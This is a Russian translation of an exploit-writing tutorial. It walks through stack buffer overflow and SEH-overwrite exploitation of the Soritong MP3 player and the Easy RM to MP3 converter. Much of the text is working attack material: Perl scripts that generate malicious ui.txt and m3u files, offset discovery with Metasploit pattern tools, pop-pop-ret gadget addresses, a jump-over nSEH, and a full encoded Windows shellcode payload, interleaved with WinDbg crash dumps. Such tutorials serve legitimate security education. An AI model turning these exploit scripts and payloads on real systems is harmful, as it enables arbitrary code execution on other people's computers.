0012fd54 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140. . . (вырезано из-за большой длины)
0012ffb8 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140
0012ffbcSYMBOL_STACK_INDEX: 0
SYMBOL_NAME: SoriTong!TmC13_5+3ea3
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: SoriTong
IMAGE_NAME: SoriTong.exe
STACK_COMMAND: ~0s ; kb
BUCKET_ID: WRONG_SYMBOLS
FAILURE_BUCKET_ID: INVALID_POINTER_WRITE_c0000005_SoriTong.exe!TmC13_5
Followup: MachineOwner
Click to expand...
Отчет исключения указывает на ffffffff. Это означает, что приложение не использовало обработчик исключения для этого переполнения (и поэтому использовался стандартный обработчик ОС).
Если сделать дамп TEB после того, как произошло исключение, мы увидм:
=> указатель на SEH-цепь, в 0x0012FD64.
Та область теперь перезаписана «A»:
Цепочка исключений сообщит:
=>, таким образом мы перезаписали обработчик исключения. Теперь позволим приложению ловить исключение (нажимаем F5 в отладчике) и смотрим, что произойдет:
eip указывает на 41414141, и это означает, что мы можем им управлять.
!exchain теперь сообщает:
Microsoft выпустила для windbg расширение называнное !exploitable. Загрузите его, и поместите dll файл в папку программы windbg, в подпапку winext.
Этот модуль поможет определить, может ли крах/исключение/нарушении_доступа в приложении быть пригодным для эксплуатации или нет. Применив этот модуль к Soritong, прямо после того, как произошло первое исключение, мы увидим:
После прохождения исключения, мы увидим:
Отличнейший модуль.
Можно ли использовать адрес шеллкода, который находится в регистрах, чтобы перейти к нему?
Да и нет. До выхода XP SP1, вы могли бы обращаться к таким регистрам, чтобы выполнить шеллкод, но начиная с SP1, был реализован механизм защищающий от этого. Прежде, чем обработчик исключения возьмет на себя управление, все регистры xor’ятся друг с другом, таким образом они все указывают на 0?00000000.
Преимущества эксплойтов, основанных на SEH, перед эксплойтами переполнения буфера основанных на RET (указатель на EIP).
При типичном RET переполнении, мы перезаписываем EIP и заставляем его перейти
на шеллкод. Эта техника хороша, но может вызвать проблемы в стабильности (если
нет возможности найти jmp код в dll, или если нужны жестко заданные адреса).
Ещё важно учитывать размер буфера, что является также недостатком данного
метода.
Так что имеет смысл, каждый раз, когда вы обнаруживаете переполнение в стеке,
с возможностью перезаписать EIP, пытаться перезаписать дно стека(Writing
further down), с целью поразить SEH-цепочку. И т.к. вы перезаписали EIP (с
мусором), будет автоматически вызвано исключение , преобразовывая
'классический' эксплойт в SEH-эксплойт.
Как мы можем эксплуатировать SEH- уязвимость?
Легко. В SEH-эксплойтах полезная junk-нагрузка сначала перезапишет адрес
указателя nSEH, затем сам SE-обработчик(SE-Handler). И затем будет записан
шеллкод.
Когда произойдет исключение, программа пойдет в SE-обработчик(handler). В SE-
Handler мы помещаем данные на подставное второе исключение, таким образом
программный поток идет в следующий указатель nSEH, который находиться до SE-
Handledr’a, и был перезаписан прыжком к адресу на шеллкод, который находиться
за SE-Handler’ом.
Конечно, шеллкод может быть справа от перезаписываемого SE-Handler’а… либо может быть некоторый дополнительный мусор в первых двух байтах…, важно проверить, что вы можете определить местонахождение шеллкода, и возможность к нему перейти.
Создание эксплойта – находим “next SEH” и смещение “SE Handler ”.
Мы должны найти смещение к следующему:
к месту, где мы перезапишем next SEH (переходом к шеллкоду)
к месту, где мы перезапишем текущий SE Handler (должно быть правее от “next SEH” . Мы должны перезаписать это чем-то, что вызовет поддельное исключение)
к шеллкоду
Простой способ сделать это - заполнить полезную нагрузку уникальным шаблоном (metasploit нам сново в этом поможет), и затем найти эти три местоположения.
Code:Copy to clipboard
#!usr/bin/perl
my $junk="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac".
"6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2A".
"f3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9".
"Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak".
"6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A".
"n3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9".
"Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As".
"6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2A".
"v3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9".
"Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba".
"6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2B".
"d3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9".
"Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi".
"6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2B".
"l3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9".
"Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq".
"6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2B".
"t3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9".
"Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By".
"6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2C".
"b3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9".
"Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg".
"6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2C".
"j3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9".
"Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co";
open (myfile,">ui.txt");
print myfile $junk;
Запустите данный скрипт, и поместите полученный ui.txt файл в папку программы.
Запустите windbg, откройте soritong.exe. Запустите выполнение программы (F5). Отладчик поймает первое случайное исключение. Выполнение программы вновь остановиться, и чтобы не сбить состояние стека, продолжать процесс выполнения пока не следует. Взглянем на seh-цепь:
SEH handler был перезаписан на 41367441.
Переверните 41367441 (little endian) => 41 74 36 41, что является hex- представлением At6A нашего подставленного шаблона. Это соответствует смещению 588. Это означает:
SE Handler перезаписывается после 588 байтов
Указатель на next SEH перезаписывается после 588-4 байтов = 584 байта. Это местоположение - 0x0012fd64 (!exchain это нам демонстрирует)
Мы знаем, что наш шеллкод находиться прямо после перезаписанного SE Handler’а. Таким образом, шеллкод должен быть помещен в 0012fd64+4bytes+4bytes
[Junk][next SEH][SEH][Shellcode]
(next SEH помещен в 0x0012fd64)
Цель: эксплойт вызывает исключение, идет в SEH, который вызовет другое исключение (pop pop ret). Это сделает переход потока назад к next SEH. Из "next SEH” перепрыгнуть через следующие несколько байтов, и попасть в область шеллкода. 6 байтов (или больше, если шеллкод мы начнем со связки NOP’ов).
Опкод для короткого перехода - eb, сопровождаемый расстоянием для перехода в байтах. Другими словами, короткий скачок в 6 байтов записывается опкодом eb 06. Этим мы заполним 2 байта, значит надо добавить ещё 2 NOP’а, чтобы заполнить 4-байтовое постранство. Таким образом, область next SEH должна быть перезаписана на 0xeb, 0?06,0?90,0?90
Насколько точна функция “pop,pop,ret” при работе в SEH-ориентированном эксплойте?
Когда происходит исключение, диспетчер исключения создает для него собственную область в стеке. Потом элементы из EH Handler’а заталкиваются в эту область (как часть вводной части функции). Одна из областей в EH структуре, это EstablisherFrame. Эта область указывает на адрес регистрационного отчета исключения (next SEH), который был помещен на стек программы. Этот же адрес также помещается в ESP+8, когда вызывается обработчик. Теперь, если мы перезаписываем обработчик адресом “pop,pop,ret”, то:
первый “pop” снимет 4 байта со стека
второй “pop” снимет следующие 4 байта со стека
“ret” снимет текущее значение с вершины ESP (= адрес next SEH, который был в ESP+8, но из-за 2 “pop” теперь находится наверху стека), и помещает его в EIP.
Мы перезаписали next SEH некоторым jump-кодом (вместо адреса), таким образом код будет выполнен.
Фактически, next SEH можно рассмотреть как первую часть нашего шеллкода.
Создание эксплойта – объединяем все части.
После нахождения необходимых смещений, только нуждайтесь в адресе “поддельного исключения” (pop,pop,ret) прежде, чем мы сможем создать эксплойт.
Запустив Soritong в windbg, мы можем увидеть список подгруженных модулей:
Мы в большей мере заинтересованы в библиотеках dll самого приложения, поэтому давайте сперва поищем “pop,pop,ret” в этой dll. Используя findjmp.exe, мы можем изучить эту dll и поискать последовательность “pop,pop,ret” (или, например, “pop edi”)
Любой из нижеследующих адресов должен нам подойти, если он не будет содержать нулевые байты:
Возьмем, например, 0x1008de8. (Вы можете использовать любой из адресов)
Отметьте : для findjmp, нам следует указать регистр. В некоторых ситуациях может быть легче воспользоваться утилитой msfpescan из Metasploit (указав msfpescan название dll, с параметром-p, и выбираете любой из pop,pop,ret ). msfpescan не требует определения регистра, т.к. он просто перебирает все комбинации. Альтернативно вы можете использовать memdump, чтобы сделать дамп всей память процесса, сохранив его в файл, и затем воспользоваться msfpescan с параметром “-M <папка с файлом дампа> -p”, чтобы найти все комбинации pop,pop,ret в памяти.
Структура полезной нагрузки эксплойта должна выглядеть примерно так:
Фактически, структура типичных SEH-эксплойтов будет похожа на эту:
Чтобы определить местонахождение шеллкода (который должен быть правее за SEH), вы можете заменить 4 байта в “next SEH” контрольными точками. Это позволит вам проверить регистры. Пример:
Code:Copy to clipboard
#!usr/bin/perl
my $junk = "A" x 584;
my $nextSEHoverwrite = "\xcc\xcc\xcc\xcc"; #контрольная точка
my $SEHoverwrite = pack('V',0x1001E812); #pop pop ret из player.dll
my $shellcode = "1ABCDEFGHIJKLM2ABCDEFGHIJKLM3ABCDEFGHIJKLM";
my $junk2 = "\x90" x 1000;
open(myfile,'>ui.txt');
print myfile $junk.$nextSEHoverwrite.$SEHoverwrite.$shellcode.$junk2;
(e1c.fbc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00130000 ebx=00000003 ecx=ffffff90 edx=00000090 esi=0017e504 edi=0012fd64
eip=00422e33 esp=0012da14 ebp=0012fd38 iopl=0 nv up ei ng nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010296
*** WARNING: Unable to verify checksum for SoriTong.exe
*** ERROR: Symbol file could not be found. Defaulted to export symbols for SoriTong.exe -
SoriTong!TmC13_5+0x3ea3:
00422e33 8810 mov byte ptr [eax],dl ds:0023:00130000=410:000> g
(e1c.fbc): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=00000000 ecx=1001e812 edx=7c9032bc esi=0012d72c edi=7c9032a8
eip=0012fd64 esp=0012d650 ebp=0012d664 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
<Unloaded_ud.drv>+0x12fd63:
0012fd64 cc int 3Click to expand...
Так, после передачи первого исключения программа остановилось из-за контрольной точки в nSEH.
EIP в настоящее время указывает на первый байт в nSEH, таким образом, вы можете видеть шеллкод в ближайших 8 байтах (4 байта для nSEH, и 4 байта для SEH):
0:000> d eip
0012fd64 cc cc cc cc 12 e8 01 10-31 41 42 43 44 45 46 47 ........1ABCDEFG
0012fd74 48 49 4a 4b 4c 4d 32 41-42 43 44 45 46 47 48 49 HIJKLM2ABCDEFGHI
0012fd84 4a 4b 4c 4d 33 41 42 43-44 45 46 47 48 49 4a 4b JKLM3ABCDEFGHIJK
0012fd94 4c 4d 90 90 90 90 90 90-90 90 90 90 90 90 90 90 LM..............
0012fda4 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0012fdb4 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0012fdc4 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0012fdd4 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................Click to expand...
Отлично, видим, что шеллкод начинается там, где мы и ожидали.
Теперь мы готовы создать эксплойт с реальным шеллкодом (и заменить контрольные точки в nSEH на jump-код)
Code:Copy to clipboard
#!usr/bin/perl
# Exploit for Soritong MP3 player
#
# Written by Peter Van Eeckhoutte
# http://www.corelan.be:8800
#
#
my $junk = "A" x 584;
my $nextSEHoverwrite = "\xeb\x06\x90\x90"; #прыжок на 6 байт
my $SEHoverwrite = pack('V',0x1001E812); #pop pop ret из player.dll
# win32_exec - EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
my $shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44".
"\x42\x30\x42\x50\x42\x30\x4b\x38\x45\x54\x4e\x33\x4b\x58\x4e\x37".
"\x45\x50\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x41\x4b\x48".
"\x4f\x35\x42\x32\x41\x50\x4b\x4e\x49\x34\x4b\x38\x46\x43\x4b\x48".
"\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x48\x42\x4c".
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x43\x46\x35\x46\x42\x46\x30\x45\x47\x45\x4e\x4b\x48".
"\x4f\x35\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x58\x4e\x30\x4b\x54".
"\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x31\x4b\x48".
"\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x52\x46\x30\x43\x4c\x41\x43".
"\x42\x4c\x46\x46\x4b\x48\x42\x54\x42\x53\x45\x38\x42\x4c\x4a\x57".
"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x48\x42\x37\x4e\x51\x4d\x4a".
"\x4b\x58\x4a\x56\x4a\x50\x4b\x4e\x49\x30\x4b\x38\x42\x38\x42\x4b".
"\x42\x50\x42\x30\x42\x50\x4b\x58\x4a\x46\x4e\x43\x4f\x35\x41\x53".
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x37".
"\x42\x35\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x4a\x46\x4a\x49".
"\x50\x4f\x4c\x58\x50\x30\x47\x45\x4f\x4f\x47\x4e\x43\x36\x41\x46".
"\x4e\x36\x43\x46\x42\x50\x5a";
my $junk2 = "\x90" x 1000;
open(myfile,'>ui.txt');
print myfile $junk.$nextSEHoverwrite.$SEHoverwrite.$shellcode.$junk2;
Создайте ui.txt файл и откройте soritong.exe БЕЗ отладчика.
Теперь давайте посмотрим, что случилось «под капотом». Поместите контрольную точку в начало шеллкода и снова запустите soritong.exe под windbg:
Первое случайное исключение:
Стек (ESP) указывает на 0x0012da14
=> SE Handler указывает на 10018de8 (который является pop,pop,ret). Когда мы продолжим выполнять приложение, pop,pop,ret выполнит и вызовет другое исключение.
Когда это случится, “ EB 06 90 90 ” код будут выполнен (next SEH), и EIP укажет на 0012fd6c, который является адресом нашего шеллкода:
Вы можете посмотреть на процесс создания эксплойта в следующем видео:
YouTube - Эксплуатация MP3-плейера Soritong (SEH) на Windows XP SP3
Также, вы можете посмотреть/посетить мой список видео (с этим и будущими эксплойтами из данного руководства)
Ссылки на отладчики и модули к ним:
Ollydbg
Модуль OllySSEH
Плагины Ollydbg
Windbg
Windbg !exploitable модуль
В результате помещения аргумента функции в стек (PUSH), ESP уменьшиться на 4 байта (АААА), и теперь указывает на более низкий адрес.
ESP в 0022FF5C. В этом адресе мы видим сохраненный EIP (Return to…), сопровождаемый указателем на параметр (AAAA в этом примере). Этот указатель был сохранен на стеке прежде, чем выполнилась команда CALL.
Затем, функция начинает выполнение. Сохраняется указатель EBP на стек, таким образом, можно будет восстановить прежнее состояние, когда функция завершится. Команда, которая сохранит указатель области стека - "push ebp". ESP снова уменьшается на 4 байта.
После помещения EBP в стек, текущий указатель вершины стека (ESP) помещен в EBP. В той точке, и ESP и EBP указываются наверху текущего стека. На ту точку стека будут ссылаться на ESP и EBP (указатель базы текущего стека). Таким образом, приложение сможет сослаться на переменные, используя смещения к EBP.
Примечание: Большинство функций начинается с этой последовательности: PUSH EBP, сопровождаемый MOV EBP, ESP
Что ж, если бы мы поместили ещё 4 байта в стек, ESP был бы снова уменьшен, а в EBP записался бы адрес, где это произошло. Мы могли бы сослаться на эти 4 байта при использовании EBP-0?8.
Далее, мы можем видеть, как объявлено/распределено пространство стека для переменной MyVar (128 байтов). В стеке имеется область, чтобы держать данные из этой переменной … ESP снова уменьшается на несколько байт. Это число байт, вероятно, будет больше чем 128, из-за подпрограммы распределения, определенной компилятором. В нашем случае это - 0?98 байт. Таким образом, мы видим команду “SUB ESP, 0?98”.
Дизассемблированная функция выглядит следующим образом:
Code:Copy to clipboard
00401290 /$ 55 PUSH EBP
00401291 |. 89E5 MOV EBP,ESP
00401293 |. 81EC 98000000 SUB ESP,98
00401299 |. 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8] ; |
0040129C |. 894424 04 MOV DWORD PTR SS:[ESP+4],EAX ; |
004012A0 |. 8D85 78FFFFFF LEA EAX,DWORD PTR SS:[EBP-88] ; |
004012A6 |. 890424 MOV DWORD PTR SS:[ESP],EAX ; |
004012A9 |. E8 72050000 CALL <jmp. &MSVCRT.STRCPY=""> ; \strcpy
004012AE |. C9 LEAVE
004012AF \. C3 RETN
Вы можете видеть начало выполнения функции (PUSH EBP и MOV EBP, ESP). Также видно место, отведенное для MyVar (SUB ESP, 98), и команды MOV и LEA, которые, в основном устанавливают параметры для strcpy() - функции, берущей указатель из argv[1], для того, чтобы скопировать данные в MyVar.
Если бы здесь не было strcpy(), функция бы завершилась и "раскрутила" бы стек. Это могло бы вызвать изменение ESP в обратную сторону, к тому месту, где сохранено значение EIP, и выполнилась бы команда RET. RET, в данном случае, перейдёт к EIP, таким образом, произойдёт возвращение в главную функцию main(), правда не туда откуда произошел вызов do_something(). В завершении, произойдет выполнение команды LEAVE, которая восстановит framepointer и EIP.
В моем примере функция strcpy() есть.
Эта функция будет читать данные из адреса, пока не увидит нулевой байт
(признак конца строки), на который указывает [Buffer], и сохранит их в
пространстве для MyVar,. В то время, пока копируются данные, ESP находится там
же. Функция strcpy() не использует команду PUSH, чтобы перемещать данные по
стеку. Она читает байты, и сообщает о них стеку, используя индексы (например:
ESP, ESP+1, ESP+2, и т.д). После копирования, ESP все еще находится в точке
начала строки.
Это значит, что если данные в [Buffer] будут длиннее чем 0?98 байт, то функция strcpy () перезапишет ими EBP, и EIP (и так далее). Она будет совершать чтение/запись до тех пор, пока не достигнет нулевого байта в этой строке.
ESP все еще указывает на начало строки. strcpy() завершается, как будто бы все
хорошо. После strcpy(), следует завершение функции. И тут становиться уже
интересно. Область для корректного завершения функции перезаписана буквами
«А». ESP будет двигаться обратно, до места где сохранен EIP, в котором
находиться RET – выход из функции.
Таким образом, мы получим контроль над EIP.
Управляя EIP, вы можете изменить адрес возврата функции, чтобы вернуться в
“нормальный поток”. Если вы измените этот адрес, используя буферное
переполнение, это будет уже не “нормальный поток”.
Таким образом, вы можете записать поверх буфера в MyVar, EBP, EIP, много «A» (ваш собственный код) в области до и после той, где сохранено EIP. После подачи буфера ([MyVar] [EBP] [EIP] [Ваш код]), ESP должен/будет находиться в начале [Ваш код]. Если вы сможете заставить EIP пойти в ваш код, вы получите управление над дальнейшим ходом выполнения программы.
Отладчик.
Чтобы понаблюдать за состоянием стека и значениями в регистрах, вы должны подключиться к программе при помощи отладчика.
Существует множество отладчиков подходящих под эти цели. Отладчиками, которыми я пользуюсь чаще всего, являются [WinDbg](http://msdn.microsoft.com/en- us/windows/hardware/gg463009.aspx), Immunity Debbuger, OllyDbg. Давайте воспользуемся WinDbg, и при установке укажите его, как стандартный в системе отладчик, используя “windbg -I”.
Вы также можете отключить всплывающее сообщение «xxx столкнулся с проблемой и должен закрыться», установив в “0” ключ реестра: HKLM\Software\Microsoft\Windows NT\CurrentVersion\AeDebug\Auto
Если WinDbg будет жаловаться, что файлы символов не обнаружены, то создайте
папку на жестком диске, например «C:\WinDbgSymbols», и пройдя в меню программы
«“File” – “Symbol File Path”» и введите команду (без пробелов):
SRVC:\windbgsymbolshttp://msdl.microsoft.com/download/symbols
Отлично, давайте начнем.
Запустите Easy RM to MP3 и загрузите в неё файл crash.m3u. Приложение падает, и если при установке вы установили WinDbg как «родной» отладчик, должно появиться сообщение, в котором следует нажать “Debug”.
Прим. Переводчика : «Если вы не установили WinDbg в режим “post-mortem”, то сделайте следующее: запустите конвертер, и WinDbg. В отладчике пройдите в “File – Attach to Process (F6)” и выберете из появившегося списка, процесс нашей испытуемой программы – “RM2MP3Converter.exe”. Нажмите в отладчике “Debug – Go(F5)”. Теперь откройте через EasyRMtoMP3 файл crash.m3u, и следите за реакцией отладчика»
WinDbg:
Immunity:
Этот GUI (графический интерфейс пользователя) показывает ту же информацию, но в большем и удобочитаемом количестве. В верхнем левом углу находиться окно данных программы, которое показывает команды трансляции и коды операций (окно пусто, потому что EIP в настоящее время указывает на 41414141, и это не правильный адрес). В верхнем правом окне вы можете видеть регистры. В нижнем левом углу вы видите дамп памяти 00446000 в этом случае. В нижнем правом углу находиться окно стека.
В обеих случаях мы видим в указателе команды (EIP) 41414141, что является шестнадцатиричным представлением AAAA.
Примечание : в Intel x86 адреса сохранены в формате little-endian. Это значит, что они отображаются наоборот. На примере с AAAA это незаметно, но вот если бы это была последовательность ABCD, то мы бы наблюдали в EIP 44434241, что эквивалентно DCBA.
Таким образом, мы видим, что часть crash.m3u записалась в буфер и вызвала его переполнение. А так, как часть строки попала и в EIP, мы можем делать вывод об исполнении своего кода, путем изменения значения в EIP. Такое поведение называется «переполнение стека» (или «буферное переполнение», или BoF).
Так как наш файл содержит только символы “A”, мы незнаем точно, насколько большим наш буфер должен быть, чтобы попасть точно в EIP. Иными словами мы должны знать точную позицию в нашем буфере/полезной нагрузке (payload), чтобы перезаписать EIP, тем что нам нужно. Эта позиция часто упоминается как “смещение/оффсет/offset”.
Определяем размер буфера, чтобы попасть точно в EIP.
Нам уже известно, что EIP расположен где-то между 20 000 и 30 000 байт от
начала буфера. Теперь, мы можем перезаписать все А адресом, который мы бы
хотели поместить в EIP. Это сработает, но мы попробуем найти точное место, где
происходить перезапись. Чтобы определить в буфере точное смещение данных для
EIP, нам необходимо проделать кое-какие действия.
Во-первых, давайте сузим потенциальное местоположение, изменив немного Perl-
скрипт. Мы создадим файл, который будет содержать 25000 «A» и 5000 «B». Если в
EIP попадут 41414141(АААА), то искомая область буфера находится между 20000 и
25000 «А», а если в EIP будет 42424242(BBBB), то область находиться между
25000 и 30000.
Code:Copy to clipboard
#!usr/bin/perl
my $file= "crash25000.m3u";
my $junk1 = "\x41" x 25000;
my $junk2 = "\x42" x 5000;
my $junk = $junk1.$junk2;
open($FILE,">$file");
print $FILE $junk;
close($FILE);
print "m3u File Created successfully\n";
Запустим этот скрипт, и получим новый crash.m3u файл. Запустив его в конвертере и отследив отладчиком, увидим:
Видим, что EIP содержит 42424242(BBBB), а значит что смещение EIP находиться между 25000 и 30000. Нам также известно, что и в ESP попали «B», а значит, что EIP находиться не в самом конце буфера (т.к. EIP идет перед ESP).
Дамп содержимого в ESP:
Отлично! Мы переписали EIP «BBBB» и увидели его продолжение в ESP.
Прежде чем улучшить наш perl-скприт, мы должны узнать место в
буфере(смещение), которое в дальнейшем перезапишет EIP. Для этих целей
воспользуемся Metasploit Framework’ом. В нём
присутствует отличный инструмент для подсчета смещений. Он генерирует строку
состоящую из уникальных последовательностей – паттернов, по которым в
дальнейшем определяется местоположение в буфере, т.к. для каждого участка
буфера идет уникальный порядок символов в паттерне.
Откройте папку инструментов Metasploit (на данный момент версия 3.4)
«msf3/tools/», и запустите утилиту под названием pattern_create.rb, выставив
значение 5000 знаков. Полученный результат запишите в perl-скрипт, таким
образом:
Code:Copy to clipboard
#!usr/bin/perl
my $file= "crash25000.m3u";
my $junk1 = "\x41" x 25000;
my $junk2 = “СЮДА ВСТАВИТЬ ПОЛУЧЕННУЮ СТРОКУ”;
my $junk = $junk.$junk2;
open($FILE,">$file");
print $FILE "$junk";
close($FILE);
print "m3u File Created successfully\n";
Создайте m3u-файл, и запустите в конвертере. Обратите внимание на EIP:
Значение, которое на этот раз попало в EIP – 0x386b4237(в little endian это 37 42 6b 38 – 7Bk8). Теперь вновь обратимся к Metasploit, а именно к его утилите pattern_offset.rb. Запускаем так:
# ./pattern_offset.rb 0x386b4237 5000
Получили 1103. Это длина буфера до области перезаписывающей EIP. Что ж, если
мы создадим файл с 25000+1103 «A» и прибавим к ним «BBBB», то при очередном
переполнении мы увидим в EIP 42 42 42 42. Также мы знаем, что в ESP попадает
остаток буфера, не вошедший в EIP. Давайте добавим для наглядности «С».
Изменяем perl-скрипт на новый лад:
Code:Copy to clipboard
#!usr/bin/perl
my $file= "eipcrash.m3u";
my $junk= "A" x 26103;#25000+1103
my $eip = "BBBB";
my $espdata = "C" x 1000;
open($FILE,">$file");
print $FILE $junk.$eip.$espdata;
close($FILE);
print "m3u File Created successfully\n";
Выполним данный скрипт, получившийся файл отправим в программу. Вывод будет следующим:
Превосходно! В EIP попало BBBB, так как мы и хотели. Теперь мы можем управлять потоком программы.
Примечание: вся работа описанная здесь, содержит адреса моей операционной системы, которые могут отличаться от ваших. Имейте это ввиду при копировании кода, содержащего смещения, и перед запуском изменяйте их на свои.
Теперь буфер нашего эксплойта выглядит так:
А стек так:
Ищем место в памяти для размещения шеллкода.
Мы контролируем EIP. Таким образом, мы можем указать EIP свернуть в другое место, которое будет содержать наш собственный код (shellcode). Но как найти это место, и как туда поместить свой шеллкод, и в дальнейшем осуществить переход EIP к нему?
Чтобы приложение упало, мы записали 26103 «A» в память, переписали значение в EIP, а также записали цепочку «C» в ESP.
Когда приложение терпит крушение, понаблюдайте за регистрами, получая их дамп (команды: d esp, d eax, d ebx, d ebp, …). Если у вас получиться найти свой буфер (из «A» или из «C») в одном из регистров, то у вас есть шанс заменить их на свой шеллкод. В нашем примере мы видим, что ESP содержит много «С», и эта область идеальна для размещения там нашего шеллкода.
Несмотря на то, что мы можем увидеть массив из символов «C», мы не знаем
наверняка, что первая буква C (по адресу 000ffd38, на который указывает ESP),
является фактически первым символом в массиве.
